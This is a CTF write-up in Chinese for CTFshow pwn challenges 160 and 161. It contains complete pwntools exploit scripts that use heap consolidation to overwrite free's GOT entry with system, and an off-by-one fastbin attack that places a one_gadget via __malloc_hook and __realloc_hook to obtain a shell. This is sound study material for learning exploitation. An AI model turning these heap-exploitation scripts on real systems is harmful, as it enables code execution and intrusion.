CTFshow
zach0ry

160

image-20251215205951859

add中有两次输入并调用了edit函数,它检查的是自己的股那里chunk是否会被改变

image-20251215210004332

但是add是先malloc(user),后malloc(管理)所以要改变其它chunk一点会影响管理

所以可以用consolidation去malloc一个大的chunk,而让管理chunk在后面

exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
import sys
from LibcSearcher import *

file_path = "./160"
remote_host = "pwn.challenge.ctf.show"
remote_port = 28131
context(arch='i386', os='linux', log_level='debug')

context.terminal = [
"wt.exe", "--profile", "WSL GDB (Black)",
"wsl.exe", "bash", "-ic"
]

elf = ELF(file_path)
#libc = elf.libc
if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)
# gdb.attach(p, """
# b *0x08048666
# c
# """, api=True)


def dbg():
gdb.attach(p)
pause()
def sla(a, b):
p.sendlineafter(a, b)
def ru(a):
p.recvuntil(a)
def sa(a, b):
p.sendafter(a, b)
def add(size, length, text):
p.sendlineafter('Action: ', '0')
p.sendlineafter('description: ', str(size))
p.sendlineafter('name: ', 'nmsl')
p.sendlineafter('length: ', str(length))
p.sendlineafter('text: ', text)

def dele(index):
p.sendlineafter('Action: ', '1')
p.sendlineafter('index: ', str(index))

def show(index):
p.sendlineafter('Action: ', '2')
p.sendlineafter('index: ', str(index))

def edit(index, length, text):
p.sendlineafter('Action: ', '3')
p.sendlineafter('index: ', str(index))
p.sendlineafter('length: ', str(length))
p.sendlineafter('text: ', text)


add(0x80, 0x80, 'bit')
add(0x20, 0x20, 'bit')
add(0x8, 0x8, '/bin/sh\x00')
dele(0)
#dbg()
add(0x100,0x1a8,b"a"*0x138+p32(elf.got["free"]))
show(1)
p.recvuntil(b"description: ")
free=u32(p.recv(4))
print(hex(free))
libc=LibcSearcher("free",free)
libc_base=free-libc.dump("free")
system=libc_base+libc.dump("system")
edit(1,8,p32(system))
dele(2)
p.interactive()

exp2

或者在malloc(0x20)之后free让函数从bin链中取出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
import sys
from LibcSearcher import *

file_path = "./160"
remote_host = "pwn.challenge.ctf.show"
remote_port = 28131
context(arch='i386', os='linux', log_level='debug')

context.terminal = [
"wt.exe", "--profile", "WSL GDB (Black)",
"wsl.exe", "bash", "-ic"
]

elf = ELF(file_path)
#libc = elf.libc
if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)
# gdb.attach(p, """
# b *0x08048666
# c
# """, api=True)


def dbg():
gdb.attach(p)
pause()
def sla(a, b):
p.sendlineafter(a, b)
def ru(a):
p.recvuntil(a)
def sa(a, b):
p.sendafter(a, b)
def add(size, length, text):
p.sendlineafter('Action: ', '0')
p.sendlineafter('description: ', str(size))
p.sendlineafter('name: ', 'nmsl')
p.sendlineafter('length: ', str(length))
p.sendlineafter('text: ', text)

def dele(index):
p.sendlineafter('Action: ', '1')
p.sendlineafter('index: ', str(index))

def show(index):
p.sendlineafter('Action: ', '2')
p.sendlineafter('index: ', str(index))

def edit(index, length, text):
p.sendlineafter('Action: ', '3')
p.sendlineafter('index: ', str(index))
p.sendlineafter('length: ', str(length))
p.sendlineafter('text: ', text)


add(0x20, 0x20, '11111')
add(0x20, 0x20, '222')
add(0x8, 0x8, '/bin/sh\x00')
dele(0)
#dbg()
add(0x80,0xb8,b"a"*0xb0+p32(elf.got["free"]))
show(1)
p.recvuntil(b"description: ")
free=u32(p.recv(4))
print(hex(free))
libc=LibcSearcher("free",free)
libc_base=free-libc.dump("free")
system=libc_base+libc.dump("system")
edit(1,8,p32(system))
dele(2)
p.interactive()

161

add

只能控制大小,不能控制内容

image-20251216203532172

edit

可以堆溢出,而且有of by one

image-20251216203608068

image-20251216203616046

思路

让一个chunk包含一个free的unsortedbin的fd泄露libc

然后把malloc_hook改为onegadgat

先malloc1和0,用0改1的size位,然后malloc2(unsorted_bin),之后在unsorted_bin中伪造chunk绕过后续free和malloc改变size_list时malloc的检验

malloc之后会把2的真实size清零,所以接着要为其赋值,让它free之后可以进入正确的bin链

最后再malloc一个隔开并free掉2就可以show了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
add(0x38)
add(0x40)
edit(0, 0x38 + 10, b"a" * 0x38 + p8(0x71))

add(0x80) # 2
pay = b"\x00" * 0x18 + p64(0x71)
edit(2, len(pay), pay)

dele(1)
add(0x60)#size_list

pay = p64(0) * 9 + p64(0x91)
edit(1, len(pay), pay)

add(0x10)
dele(2)

leak_data = show(1)
leak = u64(leak_data[-8:].ljust(8, b'\x00'))
libc_base = leak - 0x3c4b78
print(hex(libc_base))

image-20251216204725761

拿到libc_base之后就可以构造了,因为malloc没有输入参数,所以想直接给他onegadget

想要malloc控制到malloc_hook附近,看到有0x7f

所以malloc一个0x60大小的chunk,此时会切分我们的2的unsorted_bin,可以用chunk1来改它的fd

1
2
3
4
5
6
7
8
add(0x60)  # 2
dele(2)

hook = p64(libc_base + 0x3c4aed)
edit(1, 0x58, b"a" * 0x48 + p64(0x71) + hook)
#dbg()
add(0x60) # 2
add(0x60) # 4tar

image-20251216205104994

image-20251216205456392

同时为了满足onegadget的条件

在realloc_hook处放onegadget,然后在malloc_hook处放realloc的相关 push

1
2
3
4
5
6
one = libc_base + 0xf1147
realloc4 = p64(libc_base + 0x846c0 + 4)
payload = b"\x00" * 0xb + p64(one) + realloc4
edit(4, len(payload), payload)
dbg()
add(0x10)

image-20251216210624042

image-20251216211224808

image-20251216210757598

__realloc_hookrealloc() 入口的“可选前置回调函数指针”。

具体逻辑大致是这样(伪代码):

1
2
3
4
5
6
void *realloc(void *p, size_t n) {
if (__realloc_hook != NULL) {
return __realloc_hook(p, n, RETURN_ADDRESS);
}
return __libc_realloc(p, n); // 正常实现
}

所以关系是:

  • __realloc_hook == NULL
    realloc() 直接走正常的 __libc_realloc 实现。
  • __realloc_hook != NULL
    realloc() 会先通过函数指针调用 __realloc_hook 指向的地址(把 pn、caller 等传进去),由 hook 决定返回什么。

“hook 值是 onegadget”时,就意味着:只要程序触发了 realloc(),就会间接跳到 onegadget 地址执行(因为 realloc()call [__realloc_hook])。

calloc走malloc_hook

因为在 libc 里,malloccalloc 本来就不是两套完全独立的分配器。它们最终都会复用同一套底层堆分配逻辑(glibc 里就是 _int_malloc 这类内部函数),区别主要在于:

  • malloc(n):只负责“给你一块可用内存”,不保证清零
  • calloc(m, n):负责“分配 m*n 字节”,并且 保证返回的内存内容全为 0

所以实现上最自然的做法就是:

  1. calloc 先算出总大小 m*n,并做溢出检查
  2. 然后调用底层分配逻辑(内部等价于“走 malloc 的分配流程”)拿到一块内存
  3. 再把这块内存清零(memset / clear_memory),最后返回

换句话说:calloc “走 malloc 的方法”是因为它复用同一套堆分配代码,只是在分配完之后多做一步“清零”。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import *
import sys
from LibcSearcher import *

file_path = "./161"
remote_host = ""
remote_port = 2121
context(arch='amd64', os='linux', log_level='debug')

context.terminal = [
"wt.exe", "--profile", "WSL GDB (Black)",
"wsl.exe", "bash", "-ic"
]

elf = ELF(file_path)
libc = elf.libc

if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)

def dbg():
gdb.attach(p)
pause()

def sla(a, b):
p.sendlineafter(a, b)

def ru(a):
return p.recvuntil(a)

def sa(a, b):
p.sendafter(a, b)

def add(size):
sla(b": ", b'1')
sla(b"size: ", str(size).encode())

def edit(idx, length, content):
sla(b": ", b'2')
sla(b"index: ", str(idx).encode())
sla(b"size: ", str(length).encode())
sa(b"content: ", content)

def dele(idx):
sla(b": ", b'3')
sla(b"index: ", str(idx).encode())

def show(idx):
sla(b": ", b'4')
sla(b"index: ", str(idx).encode())
ru(b'content: ')
s = p.recvuntil(b"Ez Note", drop=True)
return s


add(0x38)
add(0x40)
edit(0, 0x38 + 10, b"a" * 0x38 + p8(0x71))

add(0x80) # 2
pay = b"\x00" * 0x18 + p64(0x71)
edit(2, len(pay), pay)

dele(1)
add(0x60)

pay = p64(0) * 9 + p64(0x91)
edit(1, len(pay), pay)

add(0x50)
dele(2)


leak_data = show(1)
leak = u64(leak_data[-8:].ljust(8, b'\x00'))
libc_base = leak - 0x3c4b78
print(hex(libc_base))

add(0x60) # 2
dele(2)

hook = p64(libc_base + 0x3c4aed)
edit(1, 0x58, b"a" * 0x48 + p64(0x71) + hook)

add(0x60) # 2
add(0x60) # 4

one = libc_base + 0xf1147
realloc4 = p64(libc_base + 0x846c0 + 4)
payload = b"\x00" * 0xb + p64(one) + realloc4
edit(4, len(payload), payload)

add(0x10)

p.interactive()

162